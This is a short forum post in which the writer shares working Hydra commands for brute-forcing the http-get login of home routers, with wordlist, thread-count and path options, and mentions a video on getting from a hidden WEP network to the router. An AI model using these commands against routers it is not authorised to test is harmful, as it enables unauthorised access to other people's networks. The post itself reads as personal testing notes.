I have found hydra to work on most occasions with my simple router set up (only requiring http-get).
adjusting the speed (-t option) can make a difference tho.
Running against my routers (either an ASUS or a Linksys) it seems to work consistently with ;
or using below if login is in a separate 'pop-up'Code:hydra 192.168.1.1 -L login.txt -P password.txt -t 5 -V -f http-get
as per this vid I made when testing a 'from hidden SSID / WEP to router' a while agoCode:hydra 192.168.1.1 -L login.txt -P password.txt -t 5 -V -f http-get /index.asp
(no nice music added.. so kinda quiet and boring..)